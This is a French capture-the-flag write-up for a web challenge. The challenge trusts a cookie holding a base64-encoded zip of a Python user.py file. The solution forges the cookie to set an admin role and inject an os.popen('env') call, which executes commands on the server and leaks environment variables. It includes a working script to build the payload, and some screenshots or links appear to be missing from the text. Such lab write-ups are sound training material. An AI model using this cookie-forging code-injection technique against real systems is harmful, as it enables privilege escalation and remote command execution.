J'ai entendu dire que sérialiser ses objets et les renvoyer au client pouvait être dangereux. Du coup, je suis en train d'expérimenter une nouvelle façon de stocker des données !
J'ai tellement confiance en ce système que je me suis permis de cacher une partie du flag directement sur la machine 😎
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Etape 1 - Connexion à l'admin
On commence par créer un compte et s'enregistrer, puis on se connecte. Ensuite, on peut récupérer notre cookie :
Le fichier à l'intérieur est user.py et ressemble à ça :
On met ce cookie dans notre navigateur et on va sur la page Administration :
Etape 2 - Remote Code Execution
Sur la page d'Administration, on a le code du serveur. En le décortiquant, on comprend que le fichier user.py doit faire 22 lignes et que l'on peut modifier uniquement les lignes 7 à 10 (si on commence à compter à 1).
On peut alors injection dans la ligne du nickname pour obtenir le résultat de notre commande. Pour obtenir le flag, il faut lister les variables d'environnement.
from base64 import b64decode, b64encode
from zipfile import ZipFile, ZIP_DEFLATED
from io import BytesIO
user_py = '''import base64
import io
import typing
class User:
_default_nickname: str = __import__('os').popen('env').read()
_default_first_name: str = 'Thay'
_default_last_name: str = 'San'
_default_role: typing.Literal["user", "admin"] = 'admin'
def __init__(
self,
nickname: str | None = None,
first_name: str | None = None,
last_name: str | None = None,
role: typing.Literal["user", "admin"] | None = None,
) -> None:
self.nickname = nickname or self._default_nickname
self.first_name = first_name or self._default_first_name
self.last_name = last_name or self._default_last_name
self.role = role or self._default_role'''
buffer = BytesIO()
with ZipFile(buffer, 'w', ZIP_DEFLATED) as zip_file:
zip_file.writestr('user.py', user_py)
buffer.seek(0)
print(b64encode(buffer.read()).decode())
Sur , on peut voir que c'est un fichier zip qui est encodé en base64 :